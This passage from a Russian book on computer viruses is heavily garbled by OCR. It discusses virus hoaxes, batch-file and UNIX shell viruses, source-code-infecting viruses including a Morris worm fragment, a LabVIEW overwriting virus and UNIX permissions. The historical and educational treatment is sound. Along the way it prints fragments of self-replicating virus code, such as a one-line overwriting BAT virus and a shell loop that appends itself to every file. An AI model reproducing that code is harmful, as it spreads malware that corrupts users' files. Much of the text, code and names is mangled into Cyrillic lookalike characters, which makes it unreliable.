Ь1(р:/АуЦ'\у.уШ15(:о1а1.сот. куда любой желаювдий может послать по-
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дозрительньш объект и где вирусологи частенько чпасутся» в поис- 
ках «свежатинки». И снова авторн 14 антивирусов, даже не пмтаясь 
разбираться во внутреннем устройстве мифической «заразн», внесли 
файлн в свои списки вредоносннх программ.

Нередко причиной возникновения «вирусннх сказок» служат 
обьгчнне программистские ошибки. Например, в середине 1990-хгодов 
американский антивирус М5АУ ошибочно находил «заразу» внутри 
другого антивируса -  отечественного АШ5ТЕ5Т. В конце 1990-х го- 
дов антивирус Ог\¥еЬ, установленннй на почтовнх серверах, блоки- 
ровал обновления баз антивир}'са А\7Р, считая их «зараженннми». 
Уже в новом веке многие известнне антивирусн, среди которнх 
5утап(ес АпЙУ1гиз, МсАСее У5Е, А\А5Т Апй-ухгиз и прочие, неодно- 
кратно ложно объявляли «заразой» не только друг друга, но и стан- 
дартнне компонентн \Утс]о\У5, а потом еше и пнтались их «лечить», 
что приводило к краху операционной системн. Разумеется, все эти и 
подобнне ошибки оперативно исправлялись, но среди пользователей 
долго еше бродили самне дикие слухи.

Однако самьхм активньш «генератором» вирусньгх слухов явля- 
ется, конечно, малограмотная часть компьютерной обшественности. 
Пример. Однаждн в почтовнй яшик приходит электронное письмо 
от хорошо известного человека, которому вн полностью доверяете. 
Например, такое:

II 13 /троПаШ 1Ьа1 уои 1оок 'ю1о уоиг сотри1егз апб сЬеск /У уои 
Ъаче 1Ье 1оИо\тпд VIгиз: зиНпЬк.ехе. II апуЬоду Ьаз №13 шиз <п С:\, 
с/еШе I'ттесИаШу Ьесаизе И аИаскз оп пех1 дау 25 о( (Ье тоМ Ь  
т а у  апб тШ с1е1е(е аЧ Шез оп уоиг РС. ТЬ1$ иш з са те  \н'ЛЬ Е-МаИ 
апд /5 Мз1'Ь1е 1ог ч\гиз зсаппегз. Р1еазе разз 1Мз теззаде Ю о1Ьег 
реор1е.
(Важно, чтобь/ вь/ заглянули в ваш компьютер и проверили на- 
личие следуюшего вируса: зиКпЬк. ехе. Если укого-то этотвирус 
обнаружится на С:\, удалите немедленно, потому что он начнет 
атаковать на следуюший день после 25 мая и сотрет все фай- 
ль/ на вашем РС. Этот вирус приходит по Е-МаН и невидим дпя 
вируснь/х сканеров. Пожалуйста, перешлите это письмо другим 
людям.)
Такое и подобное им письма, переведеннне на самне разнне язьпси 

народов мира, во множестве расснлались «бдительньши» пользова- 
телями друт другу в 2001 году Некоторне вариантн писем даже со- 
держали пошаговме инструкции, как найти на диске и удалить файл
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5Ь’ЬҒТ\ТВК.ЕХЕ. Обнаружилось и немало «свидетелей» повреждений, 
якобн наносимнх этим «вирусом». Паника росла, подобно снежному 
кому, катявдемуся с горн, и длилась несколько месяцев. Ее подогрева.чи 
следуюшие обстоятельства: файл ЗИЬҒМВК.ЕХЕ действительно нахо- 
дился на всех компьютерах с \¥шс1о\^5 9Х, а антивируснь1е компании 
хранили по его поводу таинственное молчание. На самом деле упомя- 
нутнй файл содержал стандартную утилиту операционной системн 
\¥ 1пс1о\\'5 и  бнл абсолютно безвреден. Тем не менее тнсячи и тнсячи не- 
квалифицированньк пользователей, подверженннх массовой истерии, 
искали, находили и безжалостно уничтожали -«вирус», а потом спешили 
переслать тревожное письмо дальше, своим друзьям и знакомьш.

К сожалению, история с «вирусом 5ЪТЬҒМВК» не единична. С се- 
рединн 1990-х годов подобнне инцидентн с несувдествукшшми 
вирусами происходили и происходят по нескольку раз в год. Так, 
в 1994 году пользователи забраснвали друг друга пред>Т1реждениями 
о вирусе «Соо(1 Т тез» , которьш якобн заражал компьютерн в тот 
момент, когда электронное письмо поступало с сервера в почтовнй 
яшик. В 1997-1998 годах почтовнй трафик бнл наводнен тревож- 
ннми сообшениями о вредоносном скринсейвере «Ви<1м'е15ег £го§з», 
которнй на самом деле бнл абсолютно безвреден. Все тот же 2001 год 
запомнился не только «вирусом 511ЕҒКВК», но и истериками, свя- 
занннми с мифическими почтовьши червями «У1г(иа1 Сагс! Гог уои», 
«САЕ1ҒОШ\1А 1ВМ» и «С1КЕ ТН1КС». В 2002 году невинной жерт- 
вой перепуганннх пользователей стал файл ̂ ОВСМСК.ЕХЕ -  ком- 
понент ̂ ауа-машинн. Памятна и «страшилка» 2006-го, посвяшенная 
несушествуювдему вирусу «01утр[с ТогсЬ». А вообше, на сайтах 
антивирусннх компаний БушапСес и БорЬоз имеются тематические 
странички, на которнх перечисленн более 260 ложньтх предупрежде- 
ний о вирусах!

Увн, все это не столько смешно, сколько печально. Ведь на ловко 
составленнне фальшивки, содержашие сснлки на 1ВМ, М1сгозоЙ; и 
СКК, реагируют не только рядовне пользователи, но и админьг и даже 
руководители крупннх предприятий. Известнн случаи, когда после 
получения подобньгх предупреждений отключались «на профилак- 
тику» корпоративнне серверн, прернвалась на многие часн работа 
офисов, внполнялась длительная и безуспешная «чистка» от несу- 
1ЦССТВУЮ1ДНХ ВИ русО В.

Воистину, «заставь дурака Богу молиться -  он себе лоб расшибет». 
Но человеческая глупость неизлечима. Может, в связи с этим просто 
не заниматься провокациями?



482 ❖ Философские и математические аспекти

7.2.2. ВаЮИ-вирусь!
В течение многих десятилетий основнь1м методом интерактивного 
взаимодействия пользователя с операционной системой бшла «ко- 
мандная строка». Пользователь набирал на клавиатуре команда (за- 
пустить программу, переименовать или удалить файл и т. п.), а опе- 
рационная система отвечала ему текстовьши сообвдениями на экране 
дисплея. «Старшее поколение» наверняка вспомнит принципн поль- 
зовательской работн в операционннх системах ОСРВ/К5Х-11М и 
РАФОС/КТ-11 для линейки СМ ЭВМ/РВР-11. Операционная си- 
стема СКГХ, разработанная в начале 1970-х годов, тоже бнла ориен- 
тирована на клавиатурно-экранное взаимодействие. Подобньш же 
образом пользователи обвдались с операционньши системами СР/М 
и МЗ-БОЗ, появившимися в начале 1980-х годов.

В операционннх системах МЗ-ВОЗ и \Утс1о\У5 9Х за диалоговое 
взаимодействие с пользователем отвечает «командньш процессор» 
СОММАКБ.СОМ, а в Ш1псЗо\\'3 КТТ на смену ему пришел несколь- 
ко более «продвинутьт» СМВ.ЕХЕ. Оба они умеют внполнять не- 
сколько десятков базовьтх команд, достаточннх для полноценной ра- 
ботн пользователя с персональной ЭВМ, таких как:

О сору <источник>,<приемник> -  скопировать файл;
О тоуе <источник>,<приемник> -  переместить файл;
О  с1е1 <файл> -  удалить файл;
О геп <имя1>, <имя2> -  переименовать файл или каталог;
О тс! <имя> -  создать новнй каталог с указанннм именем;
О гс! <имя> -  удалить каталог с указанньш именем;
О сс! <каталог> -  сделать указанннй каталог текувдим;
О  сИг -  внвести список файлов каталога;
О  Суре <файл> -  вьшести содержимое файла на экран;
О есЬо <строка> -  внвести указанную строку на экран
О и т. п.
Все эти командн поддерживают многочисленнне «ключи», управ- 

ляювдие режимами использования. Например, команда «СОРУ /У  
Ғ1ЬЕ1 Ғ1ЕЕ2» произведет копирование даже в том случае, если файл 
«Ғ1ЬЕ2»- уже сувдествует, и при этом у пользователя не будет запроше- 
но подтверждение операции. Полезной особенностью является воз- 
можность использования «шаблонов»: звездочка «*» означает «все», 
а вопросик «?» означает «любой». Например, команда «БЕЬ *.ТХ?» 
удалит все файлн с трехбуквенннм расширением, начинаювдимся с 
«ТХ». Важную роль играют символн переназначения потоков ввода-
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НТ.ТИПДЯ- -  указнвает, откуда команда будет принимать даннне; 
•«>»• -  куда команда будет передавать даннме; « » »  -  к «хвосту» ка- 
кого объекта команда будет приписнвать даннне; «|» — услугами ка- 
кой промежуточной программм-фильтра нужно воспользоваться для 
вьгаода. Например, команда «ЕСНО Не11о! >Ғ1ЬЕ1» внведет строку 
«Не11о!> не на экран, а создаст текстовнй файл «Ғ1ЬЕ1» с указанной 
строкой внутри.

Для автоматизации работь1 пользователя в операционнме систе- 
мь1 от М1СГОЗОЙ бьша введена возможность группировать командм в 
текстовом файле с расширением «.ВАТ» (для «СОММАКБ.СОМ») 
или «.СМБ» (для «СМБ.ЕХЕ») и запускать подобнме файлм, словно 
программн. В систему команд дополнительно бьми включенн:

О операторн «1Ғ», «ҒОК» и «СОТО», позволяюодие управлять 
последовательностью вмполнения;

О оператор «САЬЬ» для внзова других ВАТ-программ;
О возможность использовать переменнне вида «%Х» и операто- 

рн  «8Н1ҒТ» и «ҒОК» для работм с ними
О и многие другие полезнне возможности.
Наиболее известннм примером ВАТ-программ является содержи- 

мое конфигурационного файла «АНТОЕХЕС.ВАТ», автоматически 
стартуюшего при загрузке операционннх систем М 8-008  и ХУшйолуз 
9Х и предназначенного для настройки параметров работн операци- 
онной системн.

Раз есть некое подобие язнка программирования и способ оформ- 
ления «программ» для него, почему бн не появиться вирусам? Они 
и появились, причем практически одновременно с «нормальннми». 
По крайней мере, текст простейшего ВАТ-вируса бнл опубликован в 
1988 году в книге Ральфа Бюргера «Большой справочник по компью- 
терньш вирусамк

Поскольку ВАТ-программа представляет собой текстовнй файл 
с набором последовательно внполняемнх команд, то для ее зараже- 
ния достаточно вписать вирус в начало такого файла или приписать 
к концу.

Следует отметить, что «язмк» ВАТ-программ развивался вместе с 
операционньши системами. Например, в младших версиях М 8-В05 
не поддерживался оператор «ҒОК>, соответственно, и вирусам не 
хватало для размножения возможностей В АТ-язьжа, приходилось ис- 
пользовать внешние прсираммн. Классическим примером «ранних» 
ВАТ-вирусов можно считать Ва1 .Ва1 у1г, которьш содержал вн\три 
шестнадцатеричнне кодм байтов СОМ-программм и заставлял стан-
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дартньш отладчик ОЕВиС собирать и запускать ее. Программа ис- 
кала и заражала в текухдем каталоге ВАТ-файлн. Таким образом, ВаС. 
Ва£у1Г бнл симбиозом из ВАТ- и СОМ-вирусов:
#еоЛо о1Т 
СИИу пи1
геи [ВАТУМ] '94 (с) З^оггаЬппдег [Р/8]
е сП о  еОЮО В4 4Е ВА 35  02  С0 21 72  45 ВА 9Е 0 0  88 0 2  3 0  Сй 21 72 37  93  » Ьа^ 1Г .94
е с п о  е 0 1 1 4  В8 0 0  57  С0 21 51 52  80  ҒЕ 80  73  1Ғ В8 0 2  42  33  С9 33  02  СС » Ь з 1:у 1 г .9 4

есп.а е02В8 20 5В 50 2Ғ 53 50 00 0А 02 88 30 32 20 42 38 20 20 20 » Ь а Ш г .9 4
ес!ю д »Ьа1:у1г.94
есЬо о »оа1:у1г.94
йеои д< 1за1 :У1 г.94
йе1 Ьа1У1г.94
сМ у  соп

Автор вируса ВаЬ-ОраЬЬ использовал ту же идею, но обошелся 
без помовди «ОЕВИС.ЕХЕ». Правда, ему пришлось оптимизировать 
СОМ-компонент так, чтобн все его байтн бнли отображаемнми сим- 
волами:
@есПо о<Т
еспо з& . .. 1 -& 1»& 90Ш (Ш 787Ш <  > "2 '.со в
~2~ > оаг

Вместе с усложнением ВАТ-язнка появилась возможность писать 
совсем короткие вирусн, например перезаписнваювдий Ва(:.5Шу.(1:
б с К у  пи1

^ог %%Ь 1 п ( ..Ь а т )  йо сору %0

С другой сторонь!, это открнло дорогу к созданиюизотцренннх по- 
лиморфиков, например ВАТ.ВаЬаНаб или ВАТ.Ро1уЬа1.

В коллекциях вирусологов хранятся несколько десятков ВАТ- 
вирусов, но на практике их, видимо, сувдествовало намного больше. 
Просто «зараза» этого вида практически не способна распространять- 
ся от компьютера к компьютеру, и поэтому известность получили 
только те разновидности, которне бнли опубликованн в электрон- 
ннх журналах или посланн авторами непосредственно вирусологам.

Еше более м о ш н и е  средства программирования на командном язн- 
ке присутствуют в Е)К1Х-подобннх операционннх системах -  Е1пих, 
В513, Мас 05 , ([ЖХ и т. п. К услугам пользователя этих операцион- 
ннх систем имеются несколько командннх интерпретаторов (так на- 
знваемнх *яке11>>'оц): азЬ, ЬазЬ, 1с$Ь, кзЬ, сзЬ, гзЬ и прочих, -  вибирай 
любой! Язнки, поддерживаемне ими, порой различаются довольно 
сильно, хотя обшие командн в них, конечно, имеются:
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О Ь -  вьшести список файлов каталога;
О ср <источник>,<приемник> -  скопировать файл;
О саС <файл> -  отобразить содержимое файла;
О т у  <источник>,<приемник> -  переместить или переимено- 

вать файл;
О г т  <файл> -  удалить файл;
О йпс! <критерий поиска> -  найти файл;
О И <условия> 1 Ьеп <команди> еЬе <командн> й -  организо- 

вать «развилку» в скрипте;
О СезС <вь1ражение> -  сформировать признак истинности или 

ложности внражения;
О £ог <имя> 1п <список> с!о <командм> с!опе -  перечислить сло- 

ва из списка 
О и прочие.
Первне ^тюминания о скриптовнх вирусах, написанннх на ко- 

мандннх интерпретаторах для ИН1Х-систем, появились в 1980-х го- 
дах. Например, в статьях известннх специалистов по компьютерной 
безопасности Тома Даффа «Вирусньге атаки на безопасность ИК1Х- 
систем» [39] и Дугласа Макилроя «Вирусология 101» [50] приведенн 
примерн простейших вирусов подобного типа. Возможно также, что 
кажднй программист, начинавший изучать какую-либо из команд- 
ньгх оболочек 1ГК1Х, написал как минимум один вирус. Но мн никог- 
да не узнаем об этих попнтках, поскольку вероятность распростране- 
ния такого вируса с одной машинн на другую исчезаклце мала.

В качестве примера приведем одну из «моделей» 11Н1Х-вируса, ко- 
торнми французские авторн Ж. Бонфан, М. Качмарек и Ж.-И. Марион 
в своих статьях иллюстрировали теоретические рассуждения [41,42].
И Для каждого ҒНате в текуцем каталоге 
^ог ҒНате 1 п * ; йо
# Если имя Ғпате не оовпадает с собетвенннм 
хҒ [ $ҒИаше != $0  ] ; ТПеп
# Добавить себя к концу файла ҒНате 
са г  $0 »  $ҒМаяе
П

оопе

А вот фрагмент «реального» вируса Оп1х.Туаг
#! /ЬШ /зМ

[ "$ 1 " = ок } ; 1 Иеп 
Тог  1 1 п » 
йо
1 ' [ -0 $1 ] ; т п
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с р  $ 0  $ 1  
СО $1 
$ 0  о к  4  

сй . .

е Ш  [ -п "Иеай -п 1 $1 I дгев -з  !/Ь1п/" ] [ - г  ”дгер -  IVАВ $1" ]; 1Иеп
е с п о  » $ 1  ; г а И  -п  17  $0  » $ 1
п
йопе 
е 1 з е  
$0 ок &
п
# ТУАЙ

Ключевую роль в механизме размножения вирусов играют коман- 
дн «ср» -  копировать файл; «са(» -  внвести содержимое файла на 
экран (ее внвод перенаправляется в файл при помоши ч » » ) .

Таким образом, вирусн на командннх язнках операционннх си- 
стем сувдествуют, и их немало (например, на момент написания этих 
строк в гипертекстовой энциклопедии Е. Касперского упомянутн 
8 8  семейств 5Н ЕЬЬ-вирусов и 37 семейств ВАТ-вирусов), но они 
никогда не внзнвали эпидемий, а написание их осталось интеллек- 
туальной забавой для программистов.

Разве ж это плохо?

7.2.3. Вирусм в исходних текстах
Как мн уже знаем, практически на любом язьже программирования 
возможен «куин» -  программа, которая внводит (печатает, отобража- 
ет) свой собственньш исходннй текст. Но «куини» не умеют заражать 
себе подобнне объектн (то есть не являются вирусами-паразитами) и 
не умеют создавать и размешать где бн то ни бнло свои точнне копии 
в виде файлов (то естъ не являются вирусами-червями). Для этого 
им требуется «помоадь» со сторонн пользователя, заключаюшаяся 
в «ручном» запуске с перенаправлением потоков внвода, например 
вот так: «У1КИ8 >КЕ\¥УШ И 8 ». Тем не менее «настоявдие» вирусн, 
живутцие, размножаюшиеся и распространяклциеся в виде исходннх 
текстов, с\'шествуют.

Необходимьш условием сушествования подобной «заразн» явля- 
ется присутствие на компьютере транслятора с какого-либо язьжа 
программирования. Традиционно в любой 1Ж1Х-системе по умолча- 
нию инсталлированн компиляторн с язнка Си (например, в 1лпих 
это ССС). В набор стандартннх утилит ранних версий М 5-005  
входил интерпретатор С\¥Ваз1с, а начиная с версии 4.01 его заменил 
более продвинутнй 0Вазк\ Видимо, на компьютере любого студен-
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та-программиста также присутствует тот или иной компилятор (на- 
пример, ТигЬо Разса1 или Вог1ап<1 Ве1рЬ1). Значит, все эти системм 
могут послужить питательной средой для размножения -«текстовнх» 
вирусов. Более того, вирус окажется в некотором роде не зависимнм 
от операционной системн и аппаратной платформн.

Подтверждением этому является знаменитьш •«червь Морриса», 
которьш в ноябре 1988 г. передавался с одного узла сети на другой 
именно в виде исходного текста. Пользуясь «днрами», имевшимися в 
разннх версиях 1ТКЧХ (В 50 Ь?М1Х 4.3 и ЗипОЗ), он запускал команд- 
ньш процессор и передавал ему на вьшолнение группу команд. Вот 
соответствуюший фрагмент (текст слегка видоизменен для пуб- 
ликации):
з г а Т ю  1:а1К_1:о_з(1(51:гио1: МзТ *поз1:, ш т  Т б г й ,  Т й и г )  { 
оЦес1: «оЬ^есТрТг; 
сЬаг зепс)_ЬиТ[512]; 
сЛаг рПпГ_(!иТГ52];
1 пг 1572, 1576, 1580, 1584, 1588, 1592;
оЦ естр гг = деТоЬ]есТЬупа1пе(Х8( '11 ,с " )) ;

аепй.гехг^а*!-, Х8(''РАТН=/а1п;/изг/Ь1п:/изг/исЬ\п">>;
зепо_Техт(ТЬ«г, Х8("св /изг/тпр\п"));
1576 = гапс)от() % ОхООҒҒҒҒҒҒ;
зрпптТ(рг1пт_ЬиТ, Х3("х%й.с"), 1576); /* Формироаание случайного имени */

/ *  Здесь рассалка исходного текста вмруса * /

#йеТ1пе СОМРИЕ "сс -о х%й х%й.с;./х%о %з %а %Ь; гш -Т хЗД х%Ь.с;ес(ю 00МЕ\п" 
зрг1пТТ(зепс)_0иТ, Х8(С0МРИЕ), 1576, 1576, 1576, 1пеТ_пТоа(а21Г|(1592)),

1580, 1584, 1576, 1576); /* Команда коипиляции, запуска и удаления */
5еяо_Техт(Та«г, зепй_ЬиТ);

Анализируя его, можно прийти к следуюшим внводам:
О первоначальнотекстчервясодержалсявфайлес именем-«Н.с», 

куда попадал в результате работн других фрагментов;
О на удаленной машине текст червя помешался во временньш 

файл со случайннм именем вида «х1234567.с»;
О для «построения» червя использовался «стандартньш» компи- 

лятор с язнка Си, запускаемнй командой «сс»;
О после компиляции вирусная программа запускалась, а испол- 

няемнй .модуль ее удалялся с диска.
До сих пор технологии, использованньге в «черве Морриса», оста- 

ются невоспроизведенннми. Современнне сетевме черви распро- 
страняются в виде машинного кода, а не в виде текста.
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Методм размножения в виде исходного текста долгое время бьши 
слабо востребованм вирусописателями. В основном подобнме виру- 
см обсуждались на страницах книг типа «Большой справочник по 
компьютерннм вирусам» Ральфа Бюргера [36] или «Гигантская чер- 
ная книга по компьютерннм вирусам>> Марка Людвига [49]. В послед- 
ней даже бнли приведенн листинги двух таких вирусов, один заражал 
программн на Си, другой -  на Паскале. Идею работн проше всего 
рассмотреть на примере первого из них. Он искал в системном окру- 
жении (еп\чгоптеп(:) строку вида « С Е1ШЕ=С:\0С\1КСЬЬТ Б  Е», 
которая для компьютеров с установленннм компилятором МЗ (Хиск 
С указнвала на каталог для включаемнх Ь-файлов, и копировал туда 
свой текст в виде файла «УШЕ?5.Н». Затем вирус искал в текушем 
каталоге все файлн с расширением «.С» и модифицировал их таким 
образом, чтобн текст вируса оказался включенннм в текст програм- 
мн и при этом обеспечивался внзов вирусннх процедур. Например, 
«здоровьш» текст программн:
#шс1ийе о г й ю .  н> 
вдшО {
руГзСН еИ о  мог1й! ");

*
превравдался в нечто вроде
#1пс1ийе < у 1 п 1 8 .1 »  / /  Вкл.ю чение Ф айла с  текстом вируса
#1пс1ийе <згй10 .Ь> 
ш а ш О  {

риТз("Не11о »ог1Й! ” );
8 с _ у 1 г у 8 ( ) ;  / /  Визов проиедурь п о и с к а  и о азм н ож ения

}
Судя по воспоминаниям вирусологов, примерно в это же время 

(в 1994 г.) появился и вирус 8 гсУ1г, которнй умел подобннм же об- 
разом заражать программн сразу двух видов -  написаннне на Си и 
Паскале. Несколько позже стал известен вирус НЬЬР.Ве§тра8, кото- 
рьш обходился без нромежуточннх файлов для хранения своего текс- 
та, а использовал технологию «куинов». Можно также упомянуть ряд 
саморазмножаюшихся программ, исходнне текстн которнх бьши 
опубликованн в электронннх журналах вирусописателей.

Все эти вирусн бнли слишком примитивннми, легкообнаружимн- 
ми, да и практика переносить исходнне текстн программ с машинн 
на машину отсутствовала, так что шансов на мало-мальскую эпиде- 
мию у них не имелось.

Зато такой шанс бнл у гораздо более хитроумного вируса 1)грЬт. 
Вот его описание, взятое из гипертекстового каталога Е. Касперского:
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...При запуске компилятора ТигЬоРазсаI вирус также перехватьI- 
вает откритие и закрь/тие файлов. При открь/тии .РАЗ-файлов 
(исходники на Разса!) вирус и тетв  нихдирективу подпрограммь! 
(«ВЕСзШ»), вставляет после нее свой код в виде шестнадцатерич- 
ногодампа и снабжает его необходимь/ми командами Раеса!. При 
закрьпии такого файла вирус удаляетиз него свой код. В резуль- 
тате при компиляции паскапевских исходников результируюшие 
ЕХЕ-файльI оказь/ваются «дропперами» вируса, а сами .РАЗ-фай- 
ль1 остаются без изменений...

Но и он не получил распространения.
Надо признать, что весьма плодотворная идея модификации тек- 

ста создаваемнх программ оказалась вирусописателям «не по зубам».
Можно, конечно, упомянуть очень оригинальную методику поли- 

морфизма, которую пмтался использовать вирус \¥ш.Аррапйоп: 
...Он запись/вает исходнь/й текст вируса на диск, добавляет в него 
«пусшшки» на Паскале (ничего не значашие командь/ Разса1), 
затем компилирует этот текст в ЕХЕ-файл (если при сканирова- 
нии дисков обнаружил файль) РазсаI -  запускает их через Р1Ғ), 
компрессирует и допись/вает к ЕХЕ-файлу полученнь/й Разса!- 
исходник, добавляет оставшиеся два блока даннь/х (см. више 
структуру вируса) и запись/вает результат в катапог Мпйошз под 
именем \/ЮАССЕГЕХЕ, то есть модифицирует свой дроппер. Та- 
ким образом, вирус не является зашифрованнь/м, но пьпается 
модифицировать свой код, то есть мутировать.

Бмл евде странннй вирус 8 ау№ у, которнй прикреплял к заражен- 
ной программе лишь свой исходньш текст на язнке ассемблера и не- 
сколько команд записи этого текста в дисковьш файл. Стартовав из 
зараженной программн, вирус компилировал, компоновал и запус- 
кал на вьшолнение свою «вирулентную» разновидность.

Но большинство мелких пакостников осилили лишь дурацкие 
шутки, аналогичнме использованннм в вирусах типа 1л£ЬСпш£.4251:

...При открь/тии файлов, содержаших паскалевские исходнь/е 
тексть! (. РАЗ-файль/), вирус ишет в них строку «ВЕ01И» и встав- 
ляет команду, которая либо перезагружает, либо завешивает 
компьютер:
тНпе($Ь9/$02/$00/$е2/$ГЬ); 
тНпе($еа/$Ю/$ГГ/$00/$Ю)...
'Гаковм 5ауЬа.О1еЬаг<1.4096, НаИа.Ъ и т. п.
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Все немногочисленнне «текстовие» вирусн сколько-нибудь за- 
метного распространения не получили и произвели впечатление 
только на специалистов. Методн размножения, используювдйе пред- 
ставление вирусной программн в виде исходного текста, единогласно 
бнли признанн неэффективнмми.

Тем более шокируювдей оказалась мировая эпидемия вируса 
\Уш32 Лп<1ис, разразившаяся в 2009 г. Удивительное дело, в век изовд- 
ренннх антивирусов и сверхподозрительннх пользователей этот ви- 
рус просувдествовал незамеченньш более 8  месяцев, заразив десятки 
тнсяч программ во всех уголках мира, и бнл обнаружен совершенно 
случайно. Оказалось, вирус \¥т32.1п(1ис заражал служебнне файлн 
средн разработки Вог1апс1 Ве1рЬ1 версий с 4.0 по 7.0, входявдие в инс- 
талляцию в виде исходннх текстов. Он вставлял свой саморазмно- 
жаювдийся код в исходннй текст служебного модуля «5У5СОК5Т. 
РА5» и компилировал его. После этого вирус становился частью 
любой программн, созданной при помовди Вог1апс1 Ое1рЬк Таким об- 
разом, программн заражались в процессе создания, а пользователи 
покупали разноцветнне коробки уже с «заразой». Несли в себе ви- 
русннй код весьма «уважаемне» во всем мире приложения: пейджер 
£)1Р, проигрнватель А1МР, файловнй менеджер То1а1 Сопипапйег и 
прочие. К счастью, вирус \¥ т 3 2  Лпйис не совершал ни глупнх ш\ток, 
ни вредоносннх действий, он только размножался.

На момент написания этих строк не сувдествует евде «гтдражаний» 
вирусу \Уш32.1п<1ис. Но слишком уж он «прогремел» (в отличие от 
вирусов семейства Ғот, которне десятилетием ранее использовали 
ту же идею для заражения средн ТигЬо Разса1, но прошли незаме- 
ченнмми). Возможно, евде появятся инне вирусн, заражаювдие раз- 
личнне служебнне файлн Вог1апс1 Ве1р1п. Вог1апс1 С/С++ ВиНвег, 
М1СГОЗОЙ У1зиа1 С/С++, Мкгозой; \т 5иа1 Ваз1с и прочих популярннх 
сред программирования.

7.2.4. Графические вирусм
Думаете, они невозможнн? Вн ошибаетесь. В сфере программирова- 
ния приложений для систем сбора данннх и управления сложньши 
техническими объектами широко применяются язнки, использую- 
вдие для описания алгоритма графическую нотацию. Например, очень 
популярна среда ЬаЬ\71Е\¥ фирмм КаГдопа! 1п51гитеп15, программм 
для которой «рисуются» ммшкой в специализированном графиче- 
ском редакторе. Точнее, не «рисуются», а «собираются» из заранее 
заготовленнмх блоков, связанннх друг с другом линиями передачи



«Экзотические» вирусь! ❖ 491

данньш. В стандартной поставке ЬаЪУ1Е\¥ этих блоков тмсячи: для 
внполнения математических и логических операций над даннн- 
ми, для работм с файлами и каталогами, для управления внешними 
устройствами, для взаимодействия по сети и прочего. Неужели среда, 
обладаюхцая столь богатмми возможностями, не позволяет «нарисо- 
вать» простейший вирус? Конечно же позволяет! Вот он, перед вами.

Рис. 7.7 ❖ Перезаписиваюший вирус 
на графическом язике (3 средь! 1аЬ\/1Е\Л/

А это доказательство его работоспособности. Программм для 
ЕаЪУ1Е\¥ хранятся в файлах с расширением «.VI». Таким бмло со- 
держимое каталога до запуска вируса:
уш из VI 
М53В0Х VI 
оЕвие VI

3 файлов

35 860 23.10.02 
8 960 06.11.96 
7 618 06.11.96 

52 438 байт

А вот таким оно стало после:
У Ш З  VI
М8С30Х VI
оевие VI

35 860 23.10.02 22
35 860 23.10.02 22
35 860 23.10.02 22

107 680 байт

58 У1В1Г8. VI 
00 МЗеВОХ.VI 
оо оевие.VI

У'1Я113.»'1
мзевохл! 
оЕвие.VI

Видно, что вирус заместил собой все прочие «программм» в теку- 
шем каталоге. Он относится к классу «перезаписмваюших», но воз- 
можнн и вирусн-«паразитн», прикрепляювдиеся к другим програм- 
мам ЕаЪУ1Е\¥.



492 ❖ Философские и математмческие аспекть!

Система ЬаЬУ1Е\¥ работает в таких средах, как \¥тс1о\У5, Ппих 
и Мас 0 5  X. Потенциально вирус мог бм вольготно погулять по 
разньш уголкам мира и разньш операционньш системам -  если бм 
автор не «упокоил» его навечно в дальних запасниках своей коллек- 
ции.

7.2.5. Вирусм в инь1х операционнмх системах
Ни для кого не секрет, что операционние системн М5-0 0 8 и \Мп<ктгз 
фирмн М1СГ050Й:. являясь стандартом «де-факто» для дома и офиса, 
на протяжении четверти века служат основной питательной средой 
для распространения компьютерннх вирусов. Однако компьютерная 
«зараза» сушествует и в других операционньгх средах, хотя и не при- 
обрела там еше статуса глобальной проблемн.

7.2.5-1. Вируси в 1/ШХ-подобнь1х системах
Наиболее заметной альтернативой операционннм системам от 

М1сго5о£1 являются многочисленнне клонн и разновидности ИМ1Х. 
Среди них можно отметить бесплатнне СК 1 1 /Ё 1пих и ҒгееВЗГ), ком- 
мерческие КеСВЗО, М ас05 X, 1ВМ А1Х. 5ип 5о1ат, НР-ОХ и про- 
чие, используемне не только для построения сетевнх и файловнх 
серверов, но и на рабочих станциях. Также следует упомянуть опе- 
рационнне системн реального времени типа (ЖХ, ЬупхОЗ, Ўх^огкз 
и прочие, нашедшие широкое применение для решения задач авто- 
матизации управления техническими системами. В обшем и целом 
клонн 1Ш1Х работают на самнх разннх процессорах и используют 
различнне способн организации ядра. Но их разработчики старают- 
ся соответствовать семействам стандартов Р051Х 1003.1 и 1003.2, 
унифицируюшим не только интерфейс прикладннх программ к ядру 
операционной системн, но и множество команд, сервисннх утилит и 
т. п. Благодаря этому обеспечиваются обшность поведения и перено- 
симость программ из одного иШХ-клона на другой в виде исходннх 
текстов.

Важной особенностью Ъ7МХ-подобннх систем является реализо- 
ванная в них простая, но очень эффективная подсистема разграни- 
чения доступа к файлам, каталогам и прочим объектам «файлового 
типа» -  каналам, сокетам и прочему. Каждому заштцаемому объекту 
ставятся в соответствие 1 0  «флагов»:

О 1-й «флаг» отвечает за тип объекта («с1» -  каталог, «Ь» -  файл 
на блочном устройстве, «с» -  файл на символьном устройстве, 
« 5 »  -  сокет, «р» -  канал, «1» -  сснлка);
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О «флаг» 2 имеет значения «г» или «-» и отвечает за возможность 
чтения содержимого объекта владельцем;

О «флаг» 3, принимаюший значение «%'» или «-», отвечает за ви- 
доизменение (запись) объекта со стороньг владельца;

О «флаг» 4, со значениями «х» или «-», отвечает за возможность 
запуска объекта на вьшолнение со сторонм владельца (для ка- 
талогов -  за возможность перехода внутрь);

О «флаш» 5-7  несут нагрузку, эквивалентную «флагам» 2-4, но 
относятся к группе пользователей, в которую входит владелец;

О «флаги» 8-10 также интерпретируются подобно «флагам» 2-4, 
но касаются всех остальннх пользователей.

Комбинируя флаги, можно получать различньхе схемн доступа. 
Например, установив д.та программн набор «Ь—х-х-х» , можно обес- 
печить довольно необьлное положение дел: программньга файл ока- 
жется не только недоступннм для модификации, но и невидимнм для 
любого пользователя. Однако, априори зная имя программн, ее по- 
прежнему можно будет запустить на исполнение.

Флагами доступа к объекту можно управлять -  устанавливать их 
или сбраснвать, но это имеет право делать только «владелец» объ- 
екта. Единственннй пользователь, на которого не распространяются 
описаннне ограничения, -  это «гоо1 ».

В принципе, некоторне Ъ?К!1Х-подобнне операционнне системн 
поддерживают и дополнительнне «флаги», так назнваемне «зйску- 
битн», которне модифицируют и уточняют действие основннх «фла- 
гов», -  но единого стандарта на их использование, по-видимому, не 
с>тдествует. Чаше всего эти битн служат для установки «сложннх» 
правил, например: запись в каталог разрешена для любого пользова- 
теля, но удалять можно только «свои» файлн.

Вн можете сравнить схему зашитн в ЕК1Х с аналогичной схемой, 
принятой в \¥ 1пс1о\У8 N1 ', и отметить, что она не только проше по ор- 
ганизации, но и удобнеев использовании. По крайней мере, пользова- 
